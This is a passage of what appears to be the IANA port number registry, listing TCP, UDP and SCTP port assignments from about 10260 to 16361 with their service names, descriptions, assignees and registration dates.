axis-wimp-port 10260 udp Axis WIMP Port [Stefan_Eriksson] [Stefan_Eriksson]
tile-ml 10261 tcp Tile remote machine learning [_1026_Labs] [Rob_Earhart] 2016-09-27
10261 udp Reserved
10262-10287 Unassigned
blocks 10288 tcp Blocks [Carl_Malamud] [Carl_Malamud]
blocks 10288 udp Blocks [Carl_Malamud] [Carl_Malamud]
10289-10320 Unassigned
cosir 10321 tcp Computer Op System [Kevin_C_Barber] [Kevin_C_Barber] 2009-01-13
Information Report
10321 udp Reserved
10322-10438 Unassigned
bngsync 10439 udp BalanceNG session table [Inlab_Software_GmbH] [Thomas_G._Obermair] 2014-05-02
synchronization protocol
10439 tcp Reserved
10440-10499 Unassigned
10500 tcp Reserved
hip-nat-t 10500 udp HIP NAT-Traversal [Ari_Keranen] [Ari_Keranen] [RFC5770]
10501-10539 Unassigned
MOS-lower 10540 tcp MOS Media Object Metadata [Eric_Thorniley] [Eric_Thorniley] 2007-09-17
Port
MOS-lower 10540 udp MOS Media Object Metadata [Eric_Thorniley] [Eric_Thorniley] 2007-09-17
Port
MOS-upper 10541 tcp MOS Running Order Port [Eric_Thorniley] [Eric_Thorniley] 2007-09-17
MOS-upper 10541 udp MOS Running Order Port [Eric_Thorniley] [Eric_Thorniley] 2007-09-17
MOS-aux 10542 tcp MOS Low Priority Port [Eric_Thorniley] [Eric_Thorniley] 2007-09-17
MOS-aux 10542 udp MOS Low Priority Port [Eric_Thorniley] [Eric_Thorniley] 2007-09-17
MOS-soap 10543 tcp MOS SOAP Default Port [Eric_Thorniley] [Eric_Thorniley] 2007-09-17
MOS-soap 10543 udp MOS SOAP Default Port [Eric_Thorniley] [Eric_Thorniley] 2007-09-17
MOS-soap-opt 10544 tcp MOS SOAP Optional Port [Eric_Thorniley] [Eric_Thorniley] 2007-09-17
MOS-soap-opt 10544 udp MOS SOAP Optional Port [Eric_Thorniley] [Eric_Thorniley] 2007-09-17
10545-10547 Unassigned
serverdocs 10548 tcp Apple Document Sharing [Apple_Inc_3] [Jason_Thorpe] 2015-09-29
Service
10548 udp Reserved
10549-10630 Unassigned
printopia 10631 tcp Printopia Serve [Decisive_Tactics_Inc] [Chris_Kent] 2011-10-24 2015-04-09
10631 udp Reserved
10632-10799 Unassigned
gap 10800 tcp Gestor de Acaparamiento para [Juan_Carlos_Olivares] [Juan_Carlos_Olivares] 2006-03
Pocket PCs
gap 10800 udp Gestor de Acaparamiento para [Juan_Carlos_Olivares] [Juan_Carlos_Olivares] 2006-03
Pocket PCs
10801-10804 Unassigned
lpdg 10805 tcp LUCIA Pareja Data Group [Alvaro_P_Dominguez] [Alvaro_P_Dominguez] 2006-02
lpdg 10805 udp LUCIA Pareja Data Group [Alvaro_P_Dominguez] [Alvaro_P_Dominguez] 2006-02
10806-10808 Unassigned
nbd 10809 tcp Linux Network Block Device [Wouter_Verhelst] [Wouter_Verhelst] 2010-08-02
10809 udp Reserved
10810 tcp Reserved
nmc-disc 10810 udp Nuance Mobile Care Discovery [Gordon_Waddell] [Gordon_Waddell] 2011-03-21
10811-10859 Unassigned
helix 10860 tcp Helix Client/Server [Matthew_Strange][Larry_Atkin_2] [Matthew_Strange][Larry_Atkin_2] 2009-03-06
helix 10860 udp Helix Client/Server [Matthew_Strange][Larry_Atkin_2] [Matthew_Strange][Larry_Atkin_2] 2009-03-06
10861-10879 Unassigned
bveapi 10880 tcp BVEssentials HTTP API [Tri_Tech_Computers_Ltd] [James_Emerton] 2012-11-19
bveapi 10880 udp BVEssentials HTTP API [Tri_Tech_Computers_Ltd] [James_Emerton] 2012-11-19
10881-10932 Unassigned
Listen port used by the
octopustentacle 10933 tcp Octopus Deploy Tentacle [Octopus_Deploy_Pty_Ltd] [Paul_Stovell] 2015-01-28
deployment agent
10933 udp Reserved
10934-10989 Unassigned
rmiaux 10990 tcp Auxiliary RMI Port [Eugen_Bacic_2] [Eugen_Bacic_2]
rmiaux 10990 udp Auxiliary RMI Port [Eugen_Bacic_2] [Eugen_Bacic_2]
10991-10999 Unassigned
irisa 11000 tcp IRISA [V_A_Brauner] [V_A_Brauner]
irisa 11000 udp IRISA [V_A_Brauner] [V_A_Brauner]
metasys 11001 tcp Metasys [Tobin_Schuster] [Tobin_Schuster]
metasys 11001 udp Metasys [Tobin_Schuster] [Tobin_Schuster]
11002-11022 Unassigned
cefd-vmp 10023 udp Comtech EF-Data's Vipersat [Comtech] [Nathan_Jeffords] 2014-01-23
Management Protocol
10023 tcp Reserved
11024-11094 Unassigned
Nest device-to-device and
weave 11095 tcp device-to-service [Nest_Labs_Inc] [Grant_Erickson] 2014-01-16
application protocol
Nest device-to-device and
weave 11095 udp device-to-service [Nest_Labs_Inc] [Grant_Erickson] 2014-01-16
application protocol
11096-11102 Unassigned
origo-sync 11103 tcp OrigoDB Server Sync [Devrex_Labs] [Robert_Friberg] 2013-03-29
Interface
11103 udp Reserved
netapp-icmgmt 11104 tcp NetApp Intercluster [Craig_Everhart] [Craig_Everhart] 2010-07-06
Management
11104 udp Reserved
netapp-icdata 11105 tcp NetApp Intercluster Data [Craig_Everhart] [Craig_Everhart] 2010-07-06
11105 udp Reserved
sgi-lk 11106 tcp SGI LK Licensing service [Michel_Bourget] [Michel_Bourget] 2009-01-06
sgi-lk 11106 udp SGI LK Licensing service [Michel_Bourget] [Michel_Bourget] 2009-01-06
11107 Unassigned
Hardware Terminals Discovery
myq-termlink 11108 udp and Low-Level Communication [JANUS_spol] [Jakub_Ahmadyar] 2013-04-23
Protocol
11108 tcp Reserved
Data migration facility
sgi-dmfmgr 11109 tcp Manager (DMF) is a browser [SGI] [John_Sygulla] 2013-01-07
based interface to DMF
11109 udp Reserved
Data migration facility
sgi-soap 11110 tcp (DMF) SOAP is a web server [SGI] [John_Sygulla] 2013-01-07
protocol to support remote
access to DMF
11110 udp Reserved
vce 11111 tcp Viral Computing Environment [Fred_Cohen] [Fred_Cohen]
(VCE)
vce 11111 udp Viral Computing Environment [Fred_Cohen] [Fred_Cohen]
(VCE)
dicom 11112 tcp DICOM [David_Clunie] [David_Clunie] 2005-08
dicom 11112 udp DICOM [David_Clunie] [David_Clunie] 2005-08
11113-11160 Unassigned
suncacao-snmp 11161 tcp sun cacao snmp access point [Nick_Stephen] [Nick_Stephen] 2005-08
suncacao-snmp 11161 udp sun cacao snmp access point [Nick_Stephen] [Nick_Stephen] 2005-08
suncacao-jmxmp 11162 tcp sun cacao JMX-remoting [Nick_Stephen] [Nick_Stephen] 2005-08
access point
suncacao-jmxmp 11162 udp sun cacao JMX-remoting [Nick_Stephen] [Nick_Stephen] 2005-08
access point
suncacao-rmi 11163 tcp sun cacao rmi registry [Nick_Stephen] [Nick_Stephen] 2005-08
access point
suncacao-rmi 11163 udp sun cacao rmi registry [Nick_Stephen] [Nick_Stephen] 2005-08
access point
suncacao-csa 11164 tcp sun cacao command-streaming [Nick_Stephen] [Nick_Stephen] 2005-08
access point
suncacao-csa 11164 udp sun cacao command-streaming [Nick_Stephen] [Nick_Stephen] 2005-08
access point
suncacao-websvc 11165 tcp sun cacao web service access [Nick_Stephen] [Nick_Stephen] 2005-08
point
suncacao-websvc 11165 udp sun cacao web service access [Nick_Stephen] [Nick_Stephen] 2005-08
point
11166-11170 Unassigned
11171 tcp Reserved
snss 11171 udp Surgical Notes Security [David_Lethe] [David_Lethe] 2010-12-24
Service Discovery (SNSS)
oemcacao-jmxmp 11172 tcp OEM cacao JMX-remoting [David_Sechrest] [David_Sechrest] 2010-09-22
access point
11172 udp Reserved
t5-straton 11173 tcp Straton Runtime Programing [COPALP] [Jerome_FOLLUT] 2012-03-01
11173 udp Reserved
oemcacao-rmi 11174 tcp OEM cacao rmi registry [David_Sechrest] [David_Sechrest] 2010-09-22
access point
11174 udp Reserved
oemcacao-websvc 11175 tcp OEM cacao web service access [David_Sechrest] [David_Sechrest] 2010-09-22
point
11175 udp Reserved
11176-11200 Unassigned
smsqp 11201 tcp smsqp [Andres_Seco_Hernande] [Andres_Seco_Hernande]
smsqp 11201 udp smsqp [Andres_Seco_Hernande] [Andres_Seco_Hernande]
dcsl-backup 11202 tcp DCSL Network Backup Services [John_Reynolds] [John_Reynolds] 2012-04-17 Defined TXT keys: DCSL-Service
11202 udp Reserved
11203-11207 Unassigned
wifree 11208 tcp WiFree Service [Jose_Luis_Martin_Pei] [Jose_Luis_Martin_Pei] 2006-03
wifree 11208 udp WiFree Service [Jose_Luis_Martin_Pei] [Jose_Luis_Martin_Pei] 2006-03
11209-11210 Unassigned
memcache 11211 tcp Memory cache service [Trond_Norbye] [Trond_Norbye] 2009-02-09
memcache 11211 udp Memory cache service [Trond_Norbye] [Trond_Norbye] 2009-02-09
11212-11318 Unassigned
imip 11319 tcp IMIP [Len_Zuvela] [Len_Zuvela]
imip 11319 udp IMIP [Len_Zuvela] [Len_Zuvela]
imip-channels 11320 tcp IMIP Channels Port [Len_Zuvela_2] [Len_Zuvela_2]
imip-channels 11320 udp IMIP Channels Port [Len_Zuvela_2] [Len_Zuvela_2]
arena-server 11321 tcp Arena Server Listen [Earl_Brannigan] [Earl_Brannigan]
arena-server 11321 udp Arena Server Listen [Earl_Brannigan] [Earl_Brannigan]
11322-11366 Unassigned
atm-uhas 11367 tcp ATM UHAS [Todd_Barker] [Todd_Barker]
atm-uhas 11367 udp ATM UHAS [Todd_Barker] [Todd_Barker]
11368-11370 Unassigned
hkp 11371 tcp OpenPGP HTTP Keyserver [David_Shaw] [David_Shaw] 2003-05
hkp 11371 udp OpenPGP HTTP Keyserver [David_Shaw] [David_Shaw] 2003-05
11372-11429 Unassigned
lsdp 11430 udp Lenbrook Service Discovery [Lenbrook_Industries_Limited] [Kevin_Groeneveld] 2014-03-27
Protocol
11430 tcp Reserved
Known
11431-11488 Unassigned UNAUTHORIZED
USE: port
11488
asgcypresstcps 11489 tcp ASG Cypress Secure Only [David_Luxford] [David_Luxford] 2010-07-01
11489 udp Reserved
11490-11599 Unassigned
tempest-port 11600 tcp Tempest Protocol Port [Francis_Cianfrocca] [Francis_Cianfrocca]
tempest-port 11600 udp Tempest Protocol Port [Francis_Cianfrocca] [Francis_Cianfrocca]
11601-11622 Unassigned
emc-xsw-dconfig 11623 tcp EMC XtremSW distributed [EMC] [David_Erel] 2013-09-18
config
11623 udp Reserved
Unauthorized
11624-11719 Unassigned Use Known on
port 11711
h323callsigalt 11720 tcp H.323 Call Control [ITU-T] [ITU-T_TSB] 2013-01-31
Signalling Alternate
h323callsigalt 11720 udp H.323 Call Control [ITU-T] [ITU-T_TSB] 2013-01-31
Signalling Alternate
11721-11722 Unassigned
emc-xsw-dcache 11723 tcp EMC XtremSW distributed [EMC] [David_Erel] 2013-09-18
cache
emc-xsw-dcache 11723 udp EMC XtremSW distributed [EMC] [David_Erel] 2013-09-18
cache
11724-11750 Unassigned
intrepid-ssl 11751 tcp Intrepid SSL [Robert_Eden] [Robert_Eden] 2003-03
intrepid-ssl 11751 udp Intrepid SSL [Robert_Eden] [Robert_Eden] 2003-03
11752-11795 Unassigned
lanschool 11796 tcp LanSchool [Stoneware_Inc] [Dana_Doggett] 2012-05-18
lanschool-mpt 11796 udp Lanschool Multipoint [Stoneware_Inc] [Dana_Doggett] 2012-05-18
11797-11875 Unassigned
xoraya 11876 tcp X2E Xoraya Multichannel [Hannes_K] [Hannes_K] 2010-09-13
protocol
xoraya 11876 udp X2E Xoraya Multichannel [Hannes_K] [Hannes_K] 2010-09-13
protocol
11877 tcp Reserved
x2e-disc 11877 udp X2E service discovery [Hannes_K] [Hannes_K] 2010-09-13
protocol
11878-11966 Unassigned
sysinfo-sp 11967 tcp SysInfo Service Protocol [Mike_Cooper] [Mike_Cooper] 2003-03
sysinfo-sp 11967 udp SysInfo Sercice Protocol [Mike_Cooper] [Mike_Cooper] 2003-03
11968-11996 Unassigned
wmereceiving 11997 sctp WorldMailExpress [Greg_Foutz] [Greg_Foutz] 2006-03
wmedistribution 11998 sctp WorldMailExpress [Greg_Foutz] [Greg_Foutz] 2006-03
wmereporting 11999 sctp WorldMailExpress [Greg_Foutz] [Greg_Foutz] 2006-03
entextxid 12000 tcp IBM Enterprise Extender SNA [Eugene_Cox] [Eugene_Cox]
XID Exchange
entextxid 12000 udp IBM Enterprise Extender SNA [Eugene_Cox] [Eugene_Cox]
XID Exchange
entextnetwk 12001 tcp IBM Enterprise Extender SNA [Eugene_Cox] [Eugene_Cox]
COS Network Priority
entextnetwk 12001 udp IBM Enterprise Extender SNA [Eugene_Cox] [Eugene_Cox]
COS Network Priority
entexthigh 12002 tcp IBM Enterprise Extender SNA [Eugene_Cox] [Eugene_Cox]
COS High Priority
entexthigh 12002 udp IBM Enterprise Extender SNA [Eugene_Cox] [Eugene_Cox]
COS High Priority
entextmed 12003 tcp IBM Enterprise Extender SNA [Eugene_Cox] [Eugene_Cox]
COS Medium Priority
entextmed 12003 udp IBM Enterprise Extender SNA [Eugene_Cox] [Eugene_Cox]
COS Medium Priority
entextlow 12004 tcp IBM Enterprise Extender SNA [Eugene_Cox] [Eugene_Cox]
COS Low Priority
entextlow 12004 udp IBM Enterprise Extender SNA [Eugene_Cox] [Eugene_Cox]
COS Low Priority
dbisamserver1 12005 tcp DBISAM Database Server - [Tim_Young] [Tim_Young] 2002-05
Regular
dbisamserver1 12005 udp DBISAM Database Server - [Tim_Young] [Tim_Young] 2002-05
Regular
dbisamserver2 12006 tcp DBISAM Database Server - [Tim_Young] [Tim_Young] 2002-05
Admin
dbisamserver2 12006 udp DBISAM Database Server - [Tim_Young] [Tim_Young] 2002-05
Admin
accuracer 12007 tcp Accuracer Database System [Alexander_V_Ivanov] [Alexander_V_Ivanov] 2004-12
Server
accuracer 12007 udp Accuracer Database System [Alexander_V_Ivanov] [Alexander_V_Ivanov] 2004-12
Server
accuracer-dbms 12008 tcp Accuracer Database System [Alexander_V_Ivanov] [Alexander_V_Ivanov] 2004-12
Admin
accuracer-dbms 12008 udp Accuracer Database System [Alexander_V_Ivanov] [Alexander_V_Ivanov] 2004-12
Admin
12009 tcp Reserved
ghvpn 12009 udp Green Hills VPN [Green_Hills_Software] [Tom_R_Zavisca] 2012-02-07
edbsrvr 12010 tcp ElevateDB Server [Tim_Young] [Tim_Young] 2009-05-06
12010 udp Reserved
12011 Unassigned
vipera 12012 tcp Vipera Messaging Service [Silvano_Maffeis_2] [Silvano_Maffeis_2] 2005-08
vipera 12012 udp Vipera Messaging Service [Silvano_Maffeis_2] [Silvano_Maffeis_2] 2005-08
vipera-ssl 12013 tcp Vipera Messaging Service [Silvano_Maffeis_2] [Silvano_Maffeis_2] 2008-01-16
over SSL Communication
vipera-ssl 12013 udp Vipera Messaging Service [Silvano_Maffeis_2] [Silvano_Maffeis_2] 2008-01-16
over SSL Communication
12014-12108 Unassigned
rets-ssl 12109 tcp RETS over SSL [Jeremy_Crawford] [Jeremy_Crawford] 2003-02
rets-ssl 12109 udp RETS over SSL [Jeremy_Crawford] [Jeremy_Crawford] 2003-02
12110-12120 Unassigned
nupaper-ss 12121 tcp NuPaper Session Service [David_Warden_2] [David_Warden_2] 2005-11
nupaper-ss 12121 udp NuPaper Session Service [David_Warden_2] [David_Warden_2] 2005-11
12122-12167 Unassigned
cawas 12168 tcp CA Web Access Service [Jon_Press] [Jon_Press] 2005-08
cawas 12168 udp CA Web Access Service [Jon_Press] [Jon_Press] 2005-08
12169-12171 Unassigned
hivep 12172 tcp HiveP [Dick_Augustsson] [Dick_Augustsson]
hivep 12172 udp HiveP [Dick_Augustsson] [Dick_Augustsson]
12173-12299 Unassigned
linogridengine 12300 tcp LinoGrid Engine [Frans_Lundberg] [Frans_Lundberg] 2004-11
linogridengine 12300 udp LinoGrid Engine [Frans_Lundberg] [Frans_Lundberg] 2004-11
12301 Unassigned
Remote Administration Daemon
(RAD) is a system service
rads 12302 tcp that offers secure, remote, [Oracle] [Devjani_Ray] 2012-04-20
programmatic access to
Solaris system configuration
and run-time state
12302 udp Reserved
12303-12320 Unassigned
warehouse-sss 12321 tcp Warehouse Monitoring Syst [Craig_Steffen] [Craig_Steffen] 2005-08
SSS
warehouse-sss 12321 udp Warehouse Monitoring Syst [Craig_Steffen] [Craig_Steffen] 2005-08
SSS
warehouse 12322 tcp Warehouse Monitoring Syst [Craig_Steffen] [Craig_Steffen] 2005-08
warehouse 12322 udp Warehouse Monitoring Syst [Craig_Steffen] [Craig_Steffen] 2005-08
12323-12344 Unassigned
italk 12345 tcp Italk Chat System [Takayuki_Ito] [Takayuki_Ito]
italk 12345 udp Italk Chat System [Takayuki_Ito] [Takayuki_Ito]
12346-12752 Unassigned
tsaf 12753 tcp tsaf port [Andreas_Fehr] [Andreas_Fehr]
tsaf 12753 udp tsaf port [Andreas_Fehr] [Andreas_Fehr]
12754-12864 Unassigned
netperf 12865 tcp control port for the netperf [netperf.org] [rick_jones] 2013-04-05
benchmark
12865 udp Reserved
12866-13159 Unassigned
i-zipqd 13160 tcp I-ZIPQD [Chuck_Runquist] [Chuck_Runquist]
i-zipqd 13160 udp I-ZIPQD [Chuck_Runquist] [Chuck_Runquist]
13161-13215 Unassigned
bcslogc 13216 tcp Black Crow Software [Ramindur_Singh] [Ramindur_Singh] 2008-12-04
application logging
bcslogc 13216 udp Black Crow Software [Ramindur_Singh] [Ramindur_Singh] 2008-12-04
application logging
rs-pias 13217 tcp R&S Proxy Installation [Guido_Kiener] [Guido_Kiener] 2008-12-04
Assistant Service
rs-pias 13217 udp R&S Proxy Installation [Guido_Kiener] [Guido_Kiener] 2008-12-04
Assistant Service
emc-vcas-tcp 13218 tcp EMC Virtual CAS Service
emc-vcas-udp 13218 udp EMV Virtual CAS Service [Mark_O_Connell] [Mark_O_Connell] 2008-12-04
Discovery
13219-13222 Unassigned
powwow-client 13223 tcp PowWow Client [Paul_K_Peterson] [Paul_K_Peterson]
powwow-client 13223 udp PowWow Client [Paul_K_Peterson] [Paul_K_Peterson]
powwow-server 13224 tcp PowWow Server [Paul_K_Peterson] [Paul_K_Peterson]
powwow-server 13224 udp PowWow Server [Paul_K_Peterson] [Paul_K_Peterson]
13225-13399 Unassigned
doip-data 13400 tcp DoIP Data [Joerg_Schneider] [Joerg_Schneider] 2011-01-26
doip-disc 13400 udp DoIP Discovery [Joerg_Schneider] [Joerg_Schneider] 2011-01-26
13401-13719 Unassigned
bprd 13720 tcp BPRD Protocol (VERITAS [Jeff_Holmbeck] [Jeff_Holmbeck]
NetBackup)
bprd 13720 udp BPRD Protocol (VERITAS [Jeff_Holmbeck] [Jeff_Holmbeck]
NetBackup)
bpdbm 13721 tcp BPDBM Protocol (VERITAS [Jeff_Holmbeck] [Jeff_Holmbeck]
NetBackup)
bpdbm 13721 udp BPDBM Protocol (VERITAS [Jeff_Holmbeck] [Jeff_Holmbeck]
NetBackup)
bpjava-msvc 13722 tcp BP Java MSVC Protocol [Tim_Schmidt] [Tim_Schmidt]
bpjava-msvc 13722 udp BP Java MSVC Protocol [Tim_Schmidt] [Tim_Schmidt]
13723 Unassigned
vnetd 13724 tcp Veritas Network Utility [Jeff_Holmbeck] [Jeff_Holmbeck]
vnetd 13724 udp Veritas Network Utility [Jeff_Holmbeck] [Jeff_Holmbeck]
13725-13781 Unassigned
bpcd 13782 tcp VERITAS NetBackup [Jeff_Holmbeck] [Jeff_Holmbeck]
bpcd 13782 udp VERITAS NetBackup [Jeff_Holmbeck] [Jeff_Holmbeck]
vopied 13783 tcp VOPIED Protocol [Jeff_Holmbeck] [Jeff_Holmbeck]
vopied 13783 udp VOPIED Protocol [Jeff_Holmbeck] [Jeff_Holmbeck]
13784 Unassigned
nbdb 13785 tcp NetBackup Database [Pat_Tovo] [Pat_Tovo] 2004-12
nbdb 13785 udp NetBackup Database [Pat_Tovo] [Pat_Tovo] 2004-12
nomdb 13786 tcp Veritas-nomdb [Clayton_Haapala] [Clayton_Haapala] 2005-08
nomdb 13786 udp Veritas-nomdb [Clayton_Haapala] [Clayton_Haapala] 2005-08
13787-13817 Unassigned
dsmcc-config 13818 tcp DSMCC Config [Tim_Addington] [Tim_Addington] [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-config 13818 udp DSMCC Config [Tim_Addington] [Tim_Addington] [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-session 13819 tcp DSMCC Session Messages [Tim_Addington] [Tim_Addington] [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-session 13819 udp DSMCC Session Messages [Tim_Addington] [Tim_Addington] [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-passthru 13820 tcp DSMCC Pass-Thru Messages [Tim_Addington] [Tim_Addington] [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-passthru 13820 udp DSMCC Pass-Thru Messages [Tim_Addington] [Tim_Addington] [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-download 13821 tcp DSMCC Download Protocol [Tim_Addington] [Tim_Addington] [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-download 13821 udp DSMCC Download Protocol [Tim_Addington] [Tim_Addington] [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-ccp 13822 tcp DSMCC Channel Change [Tim_Addington] [Tim_Addington] [ISO/IEC 13818-6 MPEG-2 DSM-CC]
Protocol
dsmcc-ccp 13822 udp DSMCC Channel Change [Tim_Addington] [Tim_Addington] [ISO/IEC 13818-6 MPEG-2 DSM-CC]
Protocol
bmdss 13823 tcp Blackmagic Design Streaming [Sam_Vaughan] [Sam_Vaughan] 2011-03-01
Server
13823 udp Reserved
13824-13893 Unassigned
ucontrol 13894 tcp Ultimate Control [NEGU_Soft] [borja_lopez_urkidi] 2012-09-10
communication protocol
ucontrol 13894 udp Ultimate Control [NEGU_Soft] [borja_lopez_urkidi] 2012-09-10
communication protocol
13895-13928 Unassigned
dta-systems 13929 tcp D-TA SYSTEMS [Alexis_Bose] [Alexis_Bose] 2008-12-08
dta-systems 13929 udp D-TA SYSTEMS [Alexis_Bose] [Alexis_Bose] 2008-12-08
medevolve 13930 tcp MedEvolve Port Requester [Jon_Robertson] [Jon_Robertson] 2008-10-24
13930 udp Reserved
13931-13999 Unassigned
scotty-ft 14000 tcp SCOTTY High-Speed [Patrick_Verbeek] [Patrick_Verbeek] 2007-05
Filetransfer
scotty-ft 14000 udp SCOTTY High-Speed [Patrick_Verbeek] [Patrick_Verbeek] 2007-05
Filetransfer
sua 14001 tcp SUA [Miguel_Angel_Garcia] [Miguel_Angel_Garcia]
sua 14001 udp De-Registered [Miguel_Angel_Garcia] [Miguel_Angel_Garcia] 2001-06-06
sua 14001 sctp SUA [Miguel_Angel_Garcia] [Miguel_Angel_Garcia]
scotty-disc 14002 udp Discovery of a SCOTTY [SCOTTY_Group_SE] [Patrick_Verbeek_2] 2013-01-14
hardware codec board
14002 tcp Reserved
14003-14032 Unassigned
sage-best-com1 14033 tcp sage Best! Config Server 1 [Christian_Rubach] [Christian_Rubach]
sage-best-com1 14033 udp sage Best! Config Server 1 [Christian_Rubach] [Christian_Rubach]
sage-best-com2 14034 tcp sage Best! Config Server 2 [Christian_Rubach] [Christian_Rubach]
sage-best-com2 14034 udp sage Best! Config Server 2 [Christian_Rubach] [Christian_Rubach]
14035-14140 Unassigned
vcs-app 14141 tcp VCS Application [Ming_Xu] [Ming_Xu]
vcs-app 14141 udp VCS Application [Ming_Xu] [Ming_Xu]
icpp 14142 tcp IceWall Cert Protocol [Tsutomu_Fujinami] [Tsutomu_Fujinami] 2005-08
icpp 14142 udp IceWall Cert Protocol [Tsutomu_Fujinami] [Tsutomu_Fujinami] 2005-08
icpps 14143 tcp IceWall Cert Protocol over [Kenta_Kambara] [Kenta_Kambara] 2016-05-24
TLS
14143 udp Reserved
14144 Unassigned
gcm-app 14145 tcp GCM Application [Ming_Xu] [Ming_Xu]
gcm-app 14145 udp GCM Application [Ming_Xu] [Ming_Xu]
14146-14148 Unassigned
vrts-tdd 14149 tcp Veritas Traffic Director [Sameer_Deokule] [Sameer_Deokule] 2002-03
vrts-tdd 14149 udp Veritas Traffic Director [Sameer_Deokule] [Sameer_Deokule] 2002-03
vcscmd 14150 tcp Veritas Cluster Server [Anand_Bhalerao] [Anand_Bhalerao] 2008-10-02
Command Server
14150 udp Reserved
14151-14153 Unassigned
vad 14154 tcp Veritas Application Director [Rajeev_Verma] [Rajeev_Verma] 2006-02
vad 14154 udp Veritas Application Director [Rajeev_Verma] [Rajeev_Verma] 2006-02
14155-14249 Unassigned
cps 14250 tcp Fencing Server [Mayank_Vasa] [Mayank_Vasa] 2008-04-03
cps 14250 udp Fencing Server [Mayank_Vasa] [Mayank_Vasa] 2008-04-03
14251-14413 Unassigned
ca-web-update 14414 tcp CA eTrust Web Update Service [Robert_Ciochon] [Robert_Ciochon] 2006-08
ca-web-update 14414 udp CA eTrust Web Update Service [Robert_Ciochon] [Robert_Ciochon] 2006-08
14415-14499 Unassigned
xpra 14500 tcp xpra network protocol [Xpra] [Antoine_Martin] 2016-10-05
14500 udp Reserved
14501-14935 Unassigned
hde-lcesrvr-1 14936 tcp hde-lcesrvr-1 [Horizon_Digital_Ente] [Horizon_Digital_Ente]
hde-lcesrvr-1 14936 udp hde-lcesrvr-1 [Horizon_Digital_Ente] [Horizon_Digital_Ente]
hde-lcesrvr-2 14937 tcp hde-lcesrvr-2 [Horizon_Digital_Ente] [Horizon_Digital_Ente]
hde-lcesrvr-2 14937 udp hde-lcesrvr-2 [Horizon_Digital_Ente] [Horizon_Digital_Ente]
14938-14999 Unassigned
hydap 15000 tcp Hypack Data Aquisition [HYPACK_Inc] [Mircea_Neacsu] 2011-10-27
hydap 15000 udp Hypack Data Aquisition [HYPACK_Inc] [Mircea_Neacsu] 2011-10-27
15001 Unassigned
onep-tls 15002 tcp Open Network Environment TLS [Cisco_3] [Andrew_Thurber] 2014-01-21
15002 udp Reserved
15003-15117 Unassigned
15118 tcp Reserved
v2g Supply Equipment
v2g-secc 15118 udp Communication Controller [Holger_Lochner] [Holger_Lochner] 2011-04-06
Discovery Protocol
15119-15344 Unassigned
xpilot 15345 tcp XPilot Contact Port [Bert_Gijsbers] [Bert_Gijsbers]
xpilot 15345 udp XPilot Contact Port [Bert_Gijsbers] [Bert_Gijsbers]
15346-15362 Unassigned
3link 15363 tcp 3Link Negotiation [Brant_Thomsen] [Brant_Thomsen] 2003-01
3link 15363 udp 3Link Negotiation [Brant_Thomsen] [Brant_Thomsen] 2003-01
15364-15554 Unassigned
cisco-snat 15555 tcp Cisco Stateful NAT [Kaushik_Biswas] [Kaushik_Biswas] 2006-03
cisco-snat 15555 udp Cisco Stateful NAT [Kaushik_Biswas] [Kaushik_Biswas] 2006-03
15556-15659 Unassigned
bex-xr 15660 tcp Backup Express Restore [Catalogic_Software_Inc] [Chi_Shih_Chang] 2008-03-19 2015-02-04
Server
bex-xr 15660 udp Backup Express Restore [Catalogic_Software_Inc] [Chi_Shih_Chang] 2008-03-19 2015-02-04
Server
15661-15739 Unassigned
ptp 15740 tcp Picture Transfer Protocol [Petronel_Bigioi] [Petronel_Bigioi] 2004-11 Defined TXT keys: guid=<Device guid>
ptp 15740 udp Picture Transfer Protocol [Petronel_Bigioi] [Petronel_Bigioi] 2004-11 Defined TXT keys: guid=<Device guid>
15741-15997 Unassigned
15998 tcp Reserved
2ping 15998 udp 2ping Bi-Directional Ping [Ryan_Finnie] [Ryan_Finnie] 2010-10-06
Service
programmar 15999 tcp ProGrammar Enterprise [Norman_Wilson] [Norman_Wilson] 2010-10-06
15999 udp Reserved
Known
fmsas 16000 tcp Administration Server Access [Mark_Davidson] [Mark_Davidson] 2010-10-06 Unauthorized
Use on port
16000
Known
16000 udp Reserved Unauthorized
Use on port
16000
fmsascon 16001 tcp Administration Server [Mark_Davidson] [Mark_Davidson] 2010-10-06
Connector
16001 udp Reserved
gsms 16002 tcp GoodSync Mediation Service [Vadim_Maslov] [Vadim_Maslov] 2010-10-06
16002 udp Reserved
16003 tcp Reserved
alfin 16003 udp Automation and Control by [Ing_Tomas_Halabala] [Ing_Tomas_Halabala] 2010-10-06
REGULACE.ORG
16004-16019 Unassigned
jwpc 16020 tcp Filemaker Java Web [Robert_Parks] [Robert_Parks] 2010-05-12
Publishing Core
16020 udp Reserved
jwpc-bin 16021 tcp Filemaker Java Web [Robert_Parks] [Robert_Parks] 2010-05-12
Publishing Core Binary
16021 udp Reserved
16022-16160 Unassigned
sun-sea-port 16161 tcp Solaris SEA Port [Dana_Porter] [Dana_Porter] 2003-10
sun-sea-port 16161 udp Solaris SEA Port [Dana_Porter] [Dana_Porter] 2003-10
solaris-audit 16162 tcp Solaris Audit - secure [Jan_Friedel] [Jan_Friedel] 2009-05-07
remote audit log
16162 udp Reserved
16163-16308 Unassigned
etb4j 16309 tcp etb4j [Christopher_R_Smith] [Christopher_R_Smith] 2004-11
etb4j 16309 udp etb4j [Christopher_R_Smith] [Christopher_R_Smith] 2004-11
pduncs 16310 tcp Policy Distribute, Update [Diane_I_Shannon] [Diane_I_Shannon] 2006-08
Notification
pduncs 16310 udp Policy Distribute, Update [Diane_I_Shannon] [Diane_I_Shannon] 2006-08
Notification
pdefmns 16311 tcp Policy definition and update [Diane_I_Shannon] [Diane_I_Shannon] 2007-04
management
pdefmns 16311 udp Policy definition and update [Diane_I_Shannon] [Diane_I_Shannon] 2007-04
management
16312-16359 Unassigned
netserialext1 16360 tcp Network Serial Extension [Michael_J_Hoy] [Michael_J_Hoy]
Ports One
netserialext1 16360 udp Network Serial Extension [Michael_J_Hoy] [Michael_J_Hoy]
Ports One
netserialext2 16361 tcp Network Serial Extension [Michael_J_Hoy] [Michael_J_Hoy]
Ports Two
